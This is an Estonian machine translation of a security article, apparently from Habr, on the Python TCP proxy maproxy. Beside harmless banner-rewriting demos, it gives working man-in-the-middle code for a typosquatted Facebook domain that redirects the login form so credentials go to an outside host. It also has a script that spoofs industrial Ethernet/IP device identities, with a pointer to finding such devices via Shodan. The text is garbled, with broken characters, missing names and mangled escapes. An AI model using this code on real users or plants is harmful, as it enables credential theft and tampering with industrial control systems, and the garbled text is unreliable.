Artikli tÔlge on koostatud kursuse alguse eelÔhtul .

KokkuvÔte
Kuidas erinevad turbehindamise meetodid, alates regulaarsetest sissetungimistest ja Red Team operatsioonidest kuni IoT/ICS seadmete ja SCADA hĂ€kkimiseks, hĂ”lmavad endast töötamist binaarsete vĂ”rguprotokollidega, ehk siis sisuliselt pĂ”hinevad nad vĂ”rgus olevate andmete pealtkuulamisel ja muutmisel kliendi ja sihtmĂ€rgi vahel. VĂ”rguliikluse nuhkimine ei ole keeruline ĂŒlesanne, kuna meil on sellised tööriistad nagu Wireshark, Tcpdump vĂ”i Scapy, kuid andmete muutmine osutuvad keerulisemaks, kuna meil peab olema teatud liides, et vĂ”rguandmeid lugeda, filtreerida, reaalajas muuta ja tagasi sihtmĂ€rgile saata. Lisaks oleks ideaalne, kui selline tööriist suudaks automaatselt töötada mitu paralleelset ĂŒhendust ja omaks kohandatavuse vĂ”imalust skriptide kaudu.
Kord avastasin tööriista, mida nimetatakse , dokumentatsioon andis mulle kiiresti mĂ”ista, et maproxy on just see, mida mul on vaja. See on ĂŒsna lihtne, universaalne ja kergesti kohandatav TCP-proksi. Testisin seda tööriista mitmete keerukate rakenduste, sealhulgas ICS-seadmete peal (mis genereerivad palju pakette), et teada saada, kas see suudab töötada mitmete paralleelsete ĂŒhendustega, ning tööriist nĂ€itas head jĂ”udlust.
See artikkel tutvustab teile vÔrguandmete reaalajas töötlemist tööriista abil maproxy.
Ălevaade
Tööriist maproxy mis pĂ”hineb Tornadol â populaarse ja arenenud asĂŒnkroonse vĂ”rgu raamistikul Pythonis.
KokkuvĂ”ttes vĂ”ib see töötada mitmes reĆŸiimis:
TCP:TCPâ krĂŒpteerimata TCP-ĂŒhendused;TCP:SSLjaSSL:TCPâ ĂŒhepoolse krĂŒpteerimisega;SSL:SSLâ kahepoolses krĂŒpteerimises.
See pakutakse teegina. Kiireks kÀivitamiseks saate kasutada faili nÀiteid, mis peegeldavad peamisi :
all.pycertificate.pemlogging_proxy.pyprivatekey.pemssl2ssl.pyssl2tcp.pytcp2ssl.pytcp2tcp.py
Juhul 1 â lihtne kahepoolne proksi
PÔhinedes tcp2tcp.py:
#!/usr/bin/env python
import tornado.ioloop
import maproxy.proxyserver
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start() Vaikimisi ProxyServer() vĂ”tab vastu kaks argumenti â ĂŒhenduse koht ja sihtport. server.listen() vĂ”tab vastu ĂŒhe argumendi â porti sissetuleva ĂŒhenduse kuulamiseks.
Selle skripti kÀitamine:
# python tcp2tcp.py Selleks, et testi lĂ€bi viia, kavatseme ĂŒhendada kohaliku SSH-serveriga meie proksiskripti kaudu, mis kuulab 2222/tcp porti ja ĂŒhendub tavalise portiga 22/tcp SSH-serveri:

Tervitusbanner teeb selgeks, et meie nÀidisproks on edukalt proksinud vÔrgu liiklust.
Juhtum 2 â andmete modifitseerimine
Teine demo-skript logging_proxy.py sobib ideaalselt vÔrguandmete töötlemiseks. Faili kommentaarid kirjeldavad klassi meetodeid, mida saate oma eesmÀrkide saavutamiseks modifitseerida:

Siin on kÔige huvitavam:
on_c2p_done_readâ andmete tabamiseks teel kliendi ja serveri vahel;on_p2s_done_readâ vastupidi.
Proovime muuta SSH-bannerd, mille server klientidele tagastab:
[âŠ]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[âŠ]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[âŠ]KĂ€ivitage skript:

Nagu nĂ€ete, oli klient petetud, kuna SSH-serveri nimi vahetati âDumnySSHâ.

Juhtum 3 â lihtne veefrakteerimise veebileht
Selle tööriista kasutamiseks on lĂ”putult vĂ”imalusi. Seekord keskendume millegile praktilisemale Red Team'i operatsioonide valdkonnast. JĂ€tkame m.facebook.com ja kasutame kohandatud domeeni tahtliku trĂŒkiveaga, nĂ€iteks m.facebok.com. Demonstreerimise huvides eeldame lihtsalt, et domeen on meie registreeritud.
Kavandame luua krĂŒpteerimata vĂ”rguĂŒhenduse meie proksi ohvritega ja SSL-voo Facebooki serveriga (31.13.81.36). Selle nĂ€ite toimimiseks peame asendama HTTP-hostingu pĂ€ise ja sisestama Ă”ige hostinime, samuti keelame vastuste pakkimise, et hĂ”lbustada nende sisu juurde pÀÀsemist. LĂ”ppkokkuvĂ”ttes asendame HTML-vormi, et sisselogimisandmed saadetaks meile, mitte Facebooki serveritele:
[âŠ]
def on_c2p_done_read(self,data):
# asenda Host pÀis
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# keelata pakkimine
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[âŠ]
def on_p2s_done_read(self,data):
# osa vastuse asendamine
data = data.replace("action="/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[âŠ]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[âŠ]Tulemus:

Nagu nÀete, oleme originaalset saiti edukalt asendanud.
Juhtum 4 â Ethernet/IP kahjustamine
Ma olen ĂŒsna kaua tegelenud tööstusseadmete ja -tarkvaraga (ICS / SCADA), nagu programmeeritavad kontrollerid (PLC), sisenemis- ja vĂ€ljundmoodulid, mootori juhtimisseadmed, releed, redeli programmeerimise keskkonnad ja palju muud. See juhtumiuuring on mĂ”eldud neile, kellele meeldivad tööstuslikud asjad. Selliste lahenduste hĂ€kkimine tĂ€hendab aktiivset mĂ€ngimist vĂ”rguprotokollidega. JĂ€rgmises nĂ€ites soovin nĂ€idata, kuidas saate ICS / SCADA vĂ”rgu liiklust muuta.
Selle jaoks vajate jÀrgmist:
- VÔrgu snifferit, nÀiteks Wireshark;
- Ethernet / IP vÔi lihtsalt SIP-seadet, mida saate leida Shodani teenuse kaudu;
- Meie skript pÔhineb
maproxy.
Alustuseks vaatame, milline on tĂŒĂŒpiline identifitseerimisvastus CIP (Common Industrial Protocol) protokollilt:

Seadmise identifitseerimine toimub Ethernet / IP protokolli kaudu, mis on tööstuslikuks otstarbeks laiendatud Etherneti protokoll, see ĂŒmbritseb juhtimisprotokolle nagu CIP. Kavatseme muuta eraldi identifitseerimisnime, mida nĂ€ete ekraanipildil âNI-IndComm for Ethernetâ meie proxy-skripti abil. Me vĂ”iksime skripti taaskasutada logging_proxy.py ja sarnaselt muuta klassi meetodit on_p2s_done_read, kuna soovime, et kliendile oleks nĂ€htav teine identifitseerimisnimi.
Kood:
[âŠ]
def on_p2s_done_read(self,data):
# osaline vastuse asendamine
# Kontrollime, kas saime List Identity sÔnumi vastuse
if data[26:28] == b'x0cx00':
print('Saime vastuse, asendame')
data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
super(LoggingSession,self).on_p2s_done_read(data)
[âŠ]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[âŠ]
Sisuliselt kĂŒsisime seadme identifitseerimist kaks korda, teine vastus â originaal, esimesena muudeti seda reaalajas.
Ja viimane
Minu arvates maproxy on mugav ja lihtne tööriist, mis on lisaks veel Pythonis kirjutatud, seega usun, et ka teie saaksite sellest kasu. Loomulikult on olemas ka keerulisemaid tööriistu vÔrguandmete töötlemiseks ja muutmiseks, kuid need nÔuavad ka rohkem tÀhelepanu ja tavaliselt luuakse need konkreetse kasutusstsenaariumi jaoks, nÀiteks , vÔi kolmandaga sarnaste juhtumite jaoks vÔi viimase juhtumi jaoks. Igatahes, koos maproxy saate kiiresti ellu viia oma ideid vÔrguandmete pealtkuulamise osas, kuna skripti nÀited on vÀga selged.
Allikas: habr.com
